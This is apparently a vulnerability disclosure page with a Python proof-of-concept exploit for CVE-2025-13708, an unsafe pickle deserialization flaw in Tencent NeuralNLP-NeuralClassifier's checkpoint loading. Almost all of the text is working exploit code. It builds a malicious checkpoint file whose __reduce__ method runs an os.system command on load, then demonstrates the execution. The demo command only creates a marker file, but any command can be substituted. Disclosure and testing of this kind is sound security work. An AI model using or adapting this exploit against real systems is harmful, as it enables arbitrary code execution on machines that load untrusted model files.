CVE-2025-13708: Tencent NeuralNLP-NeuralClassifier 不安全反序列化远程代码执行漏洞

# CVE-2025-13708 PoC - Malicious pickle payload for NeuralNLP-NeuralClassifier # This PoC demonstrates the unsafe deserialization in _load_checkpoint function import pickle import os class MaliciousPayload: def __reduce__(self): # This command will be executed when the pickle is deserialized cmd = "touch /tmp/pwned_by_cve_2025_13708" return (os.system, (cmd,)) def generate_malicious_checkpoint(output_path): """Generate a malicious checkpoint file for exploitation""" payload = MaliciousPayload() serialized_data = pickle.dumps(payload) with open(output_path, 'wb') as f: f.write(serialized_data) print(f"[+] Malicious checkpoint generated: {output_path}") print(f"[+] File size: {len(serialized_data)} bytes") def simulate_load_checkpoint(file_path): """Simulate vulnerable _load_checkpoint function""" print(f"[*] Loading checkpoint from: {file_path}") with open(file_path, 'rb') as f: # Vulnerable: No validation before pickle.load() data = pickle.load(f) print("[+] Checkpoint loaded successfully") return data if __name__ == "__main__": import sys if len(sys.argv) > 1: checkpoint_path = sys.argv[1] else: checkpoint_path = "malicious_checkpoint.pkl" # Generate the malicious checkpoint file generate_malicious_checkpoint(checkpoint_path) # Simulate exploitation print("\n[*] Simulating exploitation...") simulate_load_checkpoint(checkpoint_path) # Verify if exploitation was successful if os.path.exists("/tmp/pwned_by_cve_2025_13708"): print("[+] Exploitation successful! Arbitrary code executed.") else: print("[-] Exploitation failed.")